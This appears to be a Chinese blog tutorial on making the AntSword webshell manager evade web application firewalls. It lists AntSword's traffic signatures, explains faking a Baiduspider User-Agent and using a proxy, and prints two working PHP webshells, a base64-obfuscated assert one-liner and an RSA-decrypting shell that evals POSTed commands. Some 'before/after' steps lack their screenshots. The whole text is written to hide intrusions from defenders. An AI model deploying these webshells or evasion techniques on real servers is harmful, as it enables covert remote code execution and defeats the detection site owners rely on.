前言
我们首先得知道蚁剑的流量特征:
-
编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征。
-
UA头特征:蚁剑的User-Agent头部具有特定的版本标识,例如
antSword/v2.1
,这是一个很明显的特征,可以通过更改UA头来进行伪装。 -
Webshell静态特征:蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的
assert
和eval
,ASP中的eval
,以及JSP中的Java类加载(ClassLoader)等。 -
动态流量特征:蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以
@ini_set("display_errors","0");@set_time_limit(0);
开头,而响应体则可能是经过base64编码和混淆字符处理的格式。 -
参数名特征:蚁剑的流量中,参数名往往以
_0x.....=
的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征。 -
流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难。
-
RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性。
这篇文章将通过简单修改蚁剑的UA来绕过WAF。
修改位置
-
蚁剑代理通道修改
-
UA特征伪造
-
RSA流量加密
具体操作
1.蚁剑代理通道修改
蚁剑代理通道设置(前提是必须有这个代理):
2.UA特征伪造
蚁剑默认UA:
主要修改的位置:
/modules/request.js
这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
原来的UA:
UA修改后(百度UA爬虫):
/modules/update.js
同样的方法,将UA头修改为百度爬虫:
修改前:
修改后UA头:
通过以上修改后,抓包查看:
3.RSA流量加密
蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。
在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。
<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。
其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。
采用RSA加密
新建一个rsa编码器
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34
XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k
8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N
eAKyYF0SRzIqPz8CvwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);